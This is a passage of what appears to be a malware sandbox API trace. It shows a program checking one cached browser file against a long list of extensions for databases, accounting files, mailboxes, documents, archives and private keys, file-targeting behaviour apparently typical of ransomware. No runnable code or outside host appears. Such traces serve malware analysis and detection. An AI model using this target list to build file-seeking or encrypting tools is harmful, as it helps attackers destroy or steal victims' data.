Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.ems") returned 0 [0082.513] lstrlenA (lpString="*.ems") returned 5 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.db") returned 0 [0082.513] lstrlenA (lpString="*.db") returned 4 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.dbf") returned 0 [0082.513] lstrlenA (lpString="*.dbf") returned 5 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.myox") returned 0 [0082.513] lstrlenA (lpString="*.myox") returned 6 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.myo") returned 0 [0082.513] lstrlenA (lpString="*.myo") returned 5 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbw") returned 0 [0082.513] lstrlenA (lpString="*.qbw") returned 5 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbb") returned 0 [0082.513] lstrlenA (lpString="*.qbb") returned 5 [0082.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbm") returned 0 [0082.513] lstrlenA (lpString="*.qbm") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbo") returned 0 [0082.514] lstrlenA (lpString="*.qbo") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbx") returned 0 [0082.514] lstrlenA (lpString="*.qbx") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qba") returned 0 [0082.514] lstrlenA (lpString="*.qba") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qby") returned 0 [0082.514] lstrlenA (lpString="*.qby") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qbj") returned 0 [0082.514] lstrlenA (lpString="*.qbj") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.ofx") returned 0 [0082.514] lstrlenA (lpString="*.ofx") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.qif") returned 0 [0082.514] lstrlenA (lpString="*.qif") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mye") returned 0 [0082.514] lstrlenA (lpString="*.mye") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mbox") returned 0 [0082.514] lstrlenA (lpString="*.mbox") returned 6 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.eml") returned 0 [0082.514] lstrlenA (lpString="*.eml") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.pst") returned 0 [0082.514] lstrlenA (lpString="*.pst") returned 5 [0082.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.ost") returned 0 [0082.515] lstrlenA (lpString="*.ost") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.idx") returned 0 [0082.515] lstrlenA (lpString="*.idx") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.dbx") returned 0 [0082.515] lstrlenA (lpString="*.dbx") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.sql") returned 0 [0082.515] lstrlenA (lpString="*.sql") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mdb") returned 0 [0082.515] lstrlenA (lpString="*.mdb") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.fdb") returned 0 [0082.515] lstrlenA (lpString="*.fdb") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.wab") returned 0 [0082.515] lstrlenA (lpString="*.wab") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.dat") returned 0 [0082.515] lstrlenA (lpString="*.dat") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.txt") returned 0 [0082.515] lstrlenA (lpString="*.txt") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.jpeg") returned 0 [0082.515] lstrlenA (lpString="*.jpeg") returned 6 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.jpg") returned 0 [0082.515] lstrlenA (lpString="*.jpg") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.png") returned 0 [0082.515] lstrlenA (lpString="*.png") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.php") returned 0 [0082.515] lstrlenA (lpString="*.php") returned 5 [0082.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.cs") returned 0 [0082.516] lstrlenA (lpString="*.cs") returned 4 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.cpp") returned 0 [0082.516] lstrlenA (lpString="*.cpp") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.rar") returned 0 [0082.516] lstrlenA (lpString="*.rar") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.zip") returned 0 [0082.516] lstrlenA (lpString="*.zip") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.html") returned 0 [0082.516] lstrlenA (lpString="*.html") returned 6 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.htm") returned 0 [0082.516] lstrlenA (lpString="*.htm") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.xlsx") returned 0 [0082.516] lstrlenA (lpString="*.xlsx") returned 6 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.xls") returned 0 [0082.516] lstrlenA (lpString="*.xls") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mp4") returned 0 [0082.516] lstrlenA (lpString="*.mp4") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.ppt") returned 0 [0082.516] lstrlenA (lpString="*.ppt") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.pptx") returned 0 [0082.516] lstrlenA (lpString="*.pptx") returned 6 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.doc") returned 0 [0082.516] lstrlenA (lpString="*.doc") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.dot") returned 0 [0082.516] lstrlenA (lpString="*.dot") returned 5 [0082.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.docx") returned 0 [0082.517] lstrlenA (lpString="*.docx") returned 6 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.7z") returned 0 [0082.517] lstrlenA (lpString="*.7z") returned 4 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.tar") returned 0 [0082.517] lstrlenA (lpString="*.tar") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.bz2") returned 0 [0082.517] lstrlenA (lpString="*.bz2") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.gz") returned 0 [0082.517] lstrlenA (lpString="*.gz") returned 4 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.mkv") returned 0 [0082.517] lstrlenA (lpString="*.mkv") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.eml") returned 0 [0082.517] lstrlenA (lpString="*.eml") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.msg") returned 0 [0082.517] lstrlenA (lpString="*.msg") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.edb") returned 0 [0082.517] lstrlenA (lpString="*.edb") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.accdb") returned 0 [0082.517] lstrlenA (lpString="*.accdb") returned 7 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.odb") returned 0 [0082.517] lstrlenA (lpString="*.odb") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.java") returned 0 [0082.517] lstrlenA (lpString="*.java") returned 6 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.asm") returned 0 [0082.517] lstrlenA (lpString="*.asm") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.pfx") returned 0 [0082.517] lstrlenA (lpString="*.pfx") returned 5 [0082.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.pem") returned 0 [0082.518] lstrlenA (lpString="*.pem") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]", pszSpec="*.p12") returned 0 [0082.518] lstrlenA (lpString="*.p12") returned 5 [0082.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 